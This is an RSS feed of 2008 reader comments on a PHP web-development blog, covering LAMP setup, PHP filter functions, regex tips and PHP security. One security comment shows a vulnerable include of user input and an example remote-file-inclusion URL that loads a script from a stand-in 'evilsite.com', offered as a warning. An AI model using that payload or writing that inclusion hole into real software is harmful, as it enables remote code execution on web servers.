<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Devolio - Comments</title>
    <link>http://devolio.com/blog/</link>
    <description>Devolio - News, resources, tips and tricks for Web Developers and Freelancers.</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.2 - http://www.s9y.org/</generator>
    <pubDate>Mon, 08 Sep 2008 08:58:10 GMT</pubDate>

    <image>
        <url>http://devolio.com/blog/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: Devolio - Comments - Devolio - News, resources, tips and tricks for Web Developers and Freelancers.</title>
        <link>http://devolio.com/blog/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>UrsusArctosHorribilis: How to install Apache, MySQL and PHP (LAMP) in Ubuntu 8.04</title>
    <link>http://devolio.com/blog/archives/401-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-8.04.html#c3194</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/401-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-8.04.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=401</wfw:comment>

    

    <author>nospam@example.com (UrsusArctosHorribilis)</author>
    <content:encoded>
    Thanks. This got me started in no time at all. Greatly appreciated. 
    </content:encoded>

    <pubDate>Fri, 29 Aug 2008 23:34:20 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/401-guid.html#c3194</guid>
    
</item>
<item>
    <title>Tore: How to install Apache, MySQL and PHP (LAMP) in Ubuntu 7.10</title>
    <link>http://devolio.com/blog/archives/221-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-7.10.html#c3190</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/221-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-7.10.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=221</wfw:comment>

    

    <author>nospam@example.com (Tore)</author>
    <content:encoded>
    Wow! Thanks for a great guide. Everything worked and it was quick and easy. Almost to good to be true &lt;img src=&quot;http://devolio.com/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
Hugs and kisses from Sweden! /Tore 
    </content:encoded>

    <pubDate>Fri, 29 Aug 2008 15:05:06 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/221-guid.html#c3190</guid>
    
</item>
<item>
    <title>Joey: Data Filtering Using PHP's Filter Functions - Part one</title>
    <link>http://devolio.com/blog/archives/413-Data-Filtering-Using-PHPs-Filter-Functions-Part-one.html#c3174</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/413-Data-Filtering-Using-PHPs-Filter-Functions-Part-one.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=413</wfw:comment>

    

    <author>nospam@example.com (Joey)</author>
    <content:encoded>
    I encountered the same problem trying to do research on them. Glad it can be of some use. 
    </content:encoded>

    <pubDate>Thu, 28 Aug 2008 12:03:24 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/413-guid.html#c3174</guid>
    
</item>
<item>
    <title>Michael: Data Filtering Using PHP's Filter Functions - Part one</title>
    <link>http://devolio.com/blog/archives/413-Data-Filtering-Using-PHPs-Filter-Functions-Part-one.html#c3170</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/413-Data-Filtering-Using-PHPs-Filter-Functions-Part-one.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=413</wfw:comment>

    

    <author>nospam@example.com (Michael)</author>
    <content:encoded>
    Nice - thanks for this. I&#039;ve been using some of these, but the official documentation is still a bit lacking. 
    </content:encoded>

    <pubDate>Thu, 28 Aug 2008 09:03:54 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/413-guid.html#c3170</guid>
    
</item>
<item>
    <title>Kaarel: Data Filtering Using PHP's Filter Functions - Part one</title>
    <link>http://devolio.com/blog/archives/413-Data-Filtering-Using-PHPs-Filter-Functions-Part-one.html#c3142</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/413-Data-Filtering-Using-PHPs-Filter-Functions-Part-one.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=413</wfw:comment>

    

    <author>nospam@example.com (Kaarel)</author>
    <content:encoded>
    Great info! Been developing php for soem time and had no clue of such functionality. 
    </content:encoded>

    <pubDate>Wed, 27 Aug 2008 07:51:28 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/413-guid.html#c3142</guid>
    
</item>
<item>
    <title>one.perfect.sunrise: 8 Practical PHP Regular Expressions</title>
    <link>http://devolio.com/blog/archives/34-8-Practical-PHP-Regular-Expressions.html#c3117</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/34-8-Practical-PHP-Regular-Expressions.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=34</wfw:comment>

    

    <author>nospam@example.com (one.perfect.sunrise)</author>
    <content:encoded>
    About &quot;Validating Telephone Numbers&quot;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$phone_number = &#039;0893010144&#039;;&lt;br /&gt;
//$phone_number = &#039;0893 010144&#039;;&lt;br /&gt;
//$phone_number = &#039;0893 01 01 44&#039;;&lt;br /&gt;
//$phone_number = &#039;+359893010144&#039;;&lt;br /&gt;
//$phone_number = &#039;+359893 01 01 44&#039;;&lt;br /&gt;
//$phone_number = &#039;(359) 893010144&#039;;&lt;br /&gt;
//$phone_number = &#039;(+359) 893010144&#039;;&lt;br /&gt;
//$phone_number = &#039;(+359) 893-01-01-44&#039;;&lt;br /&gt;
//$phone_number = &#039;(+359) 893 010 144&#039;;&lt;br /&gt;
//$phone_number = &#039;(+359) 893 01 01 44&#039;;&lt;br /&gt;
//$phone_number = &#039;(+359) 893 010 144&#039;;&lt;br /&gt;
//$phone_number = &#039;(+359)893010144&#039;;&lt;br /&gt;
&lt;br /&gt;
$pattern = &#039;/^\(?\+?[0-9]{3}\)?([0-9- ]){6,13}$/&#039;;&lt;br /&gt;
&lt;br /&gt;
if (preg_match($pattern, $phone_number)) {&lt;br /&gt;
	echo &#039;ok ...&#039;;&lt;br /&gt;
} else {&lt;br /&gt;
	echo &#039;bad ...&#039;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Try this. The max length of phone number and (spaces or dash) must be between 6 and 13 characters (all). You can change this length if you want ... 
    </content:encoded>

    <pubDate>Tue, 26 Aug 2008 06:30:46 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/34-guid.html#c3117</guid>
    
</item>
<item>
    <title>Joey: PHP Security - Part One</title>
    <link>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#c2891</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=11</wfw:comment>

    

    <author>nospam@example.com (Joey)</author>
    <content:encoded>
    @Gerd - That works fine for anything not requiring special chars.&lt;br /&gt;
&lt;br /&gt;
@Allison - Agreed, prepared statements are one of the better ways to avoid sql injection (for the most part).&lt;br /&gt;
&lt;br /&gt;
@Phillip - Hopefully nobody would ever include files like that, but I&#039;ll add it to the article. Thanks &lt;img src=&quot;http://devolio.com/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
@Drew - Nice catch, fixed. Thanks. 
    </content:encoded>

    <pubDate>Sun, 17 Aug 2008 03:02:59 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/11-guid.html#c2891</guid>
    
</item>
<item>
    <title>Drew Douglass: PHP Security - Part One</title>
    <link>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#c2890</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=11</wfw:comment>

    

    <author>nospam@example.com (Drew Douglass)</author>
    <content:encoded>
    &quot;This example would strip out the b and a tags from the string&quot;&lt;br /&gt;
&lt;br /&gt;
This is incorrect. The above example would &lt;strong&gt;allow&lt;/strong&gt; only the a and b tags. &lt;br /&gt;
&lt;br /&gt;
Straight from the manual:http://us.php.net/strip-tags&lt;br /&gt;
&lt;br /&gt;
Thought I would let you know, otherwise not bad advice for beginners.&lt;br /&gt;
&lt;br /&gt;
Regards,&lt;br /&gt;
&lt;br /&gt;
Drew 
    </content:encoded>

    <pubDate>Sun, 17 Aug 2008 02:15:08 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/11-guid.html#c2890</guid>
    
</item>
<item>
    <title>Phillip Long: PHP Security - Part One</title>
    <link>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#c2889</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=11</wfw:comment>

    

    <author>nospam@example.com (Phillip Long)</author>
    <content:encoded>
    Another huge php security issue is displaying/including file content.&lt;br /&gt;
&lt;br /&gt;
For example, &lt;br /&gt;
$file = $POST[&#039;file&#039;];/$_GET[&#039;file&#039;];&lt;br /&gt;
include($file);&lt;br /&gt;
is a HUGE mistake, POST data can be forged, and a malicious script can me injected such as site.com/page.php?file=http://evilsite.com/evilscript.txt&lt;br /&gt;
&lt;br /&gt;
a way around this would be to do a preg_match(/^(http:\/\/yoursite.com\/dir\/)/, $file)&lt;br /&gt;
&lt;br /&gt;
Sorry if the code is not exact, I just scribbled it out here.&lt;br /&gt;
&lt;br /&gt;
I find it is always best to sanitize all data from $_GET, $_POST, and $_COOKIE 
    </content:encoded>

    <pubDate>Sat, 16 Aug 2008 22:13:33 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/11-guid.html#c2889</guid>
    
</item>
<item>
    <title>Allison Nighswander: PHP Security - Part One</title>
    <link>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#c2888</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=11</wfw:comment>

    

    <author>nospam@example.com (Allison Nighswander)</author>
    <content:encoded>
    I think the best way to prevent sql injection is to use prepared statements. 
    </content:encoded>

    <pubDate>Sat, 16 Aug 2008 20:23:44 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/11-guid.html#c2888</guid>
    
</item>
<item>
    <title>Gerd: PHP Security - Part One</title>
    <link>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#c2887</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/11-PHP-Security-Part-One.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=11</wfw:comment>

    

    <author>nospam@example.com (Gerd)</author>
    <content:encoded>
    Just:&lt;br /&gt;
&lt;strong&gt;$var = preg_replace(&#039;/[^a-zA-Z0-9]/&#039;, &#039;&#039;, $var)&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
I use this for simple GET/POST vars. 
    </content:encoded>

    <pubDate>Sat, 16 Aug 2008 20:19:53 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/11-guid.html#c2887</guid>
    
</item>
<item>
    <title>Robert James: How to install Apache, MySQL and PHP (LAMP) in Ubuntu 8.04</title>
    <link>http://devolio.com/blog/archives/401-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-8.04.html#c2800</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/401-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-8.04.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=401</wfw:comment>

    

    <author>nospam@example.com (Robert James)</author>
    <content:encoded>
    Thanks, very useful document. 
    </content:encoded>

    <pubDate>Fri, 01 Aug 2008 14:37:51 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/401-guid.html#c2800</guid>
    
</item>
<item>
    <title>Pakde Pakdoz: How to install Apache, MySQL and PHP (LAMP) in Ubuntu 7.10</title>
    <link>http://devolio.com/blog/archives/221-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-7.10.html#c2722</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/221-How-to-install-Apache,-MySQL-and-PHP-LAMP-in-Ubuntu-7.10.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=221</wfw:comment>

    

    <author>nospam@example.com (Pakde Pakdoz)</author>
    <content:encoded>
    Hi, to get PHPmyAdmin working, I make configuration on apache2.conf:&lt;br /&gt;
&lt;br /&gt;
sudo nano /etc/apache2/apache2.conf&lt;br /&gt;
&lt;br /&gt;
Scroll right to the bottom of the file that opens, and add:&lt;br /&gt;
&lt;br /&gt;
# Enable PHPMyAdmin&lt;br /&gt;
  Include /etc/phpmyadmin/apache.conf&lt;br /&gt;
&lt;br /&gt;
Now save, exit, and type: &lt;br /&gt;
&lt;br /&gt;
sudo /etc/init.d/apache2 restart 
    </content:encoded>

    <pubDate>Fri, 25 Jul 2008 14:42:29 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/221-guid.html#c2722</guid>
    
</item>
<item>
    <title>Graham: 8 Practical PHP Regular Expressions</title>
    <link>http://devolio.com/blog/archives/34-8-Practical-PHP-Regular-Expressions.html#c2684</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/34-8-Practical-PHP-Regular-Expressions.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=34</wfw:comment>

    

    <author>nospam@example.com (Graham)</author>
    <content:encoded>
    Just StumbleUpon&#039;d this article, and it was very helpful.  Even more helpful were your loyal readers and their comments.  Definitely bookmark worthy.  Thanks for your help! 
    </content:encoded>

    <pubDate>Sun, 20 Jul 2008 00:21:12 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/34-guid.html#c2684</guid>
    
</item>
<item>
    <title>mike: Understanding Classes and OOP</title>
    <link>http://devolio.com/blog/archives/137-Understanding-Classes-and-OOP.html#c2673</link>
            <category></category>
    
    <comments>http://devolio.com/blog/archives/137-Understanding-Classes-and-OOP.html#comments</comments>
    <wfw:comment>http://devolio.com/blog/wfwcomment.php?cid=137</wfw:comment>

    

    <author>nospam@example.com (mike)</author>
    <content:encoded>
    Good OOP intro.. 
    </content:encoded>

    <pubDate>Fri, 18 Jul 2008 01:51:20 -0400</pubDate>
    <guid isPermaLink="false">http://devolio.com/blog/archives/137-guid.html#c2673</guid>
    
</item>

</channel>
</rss>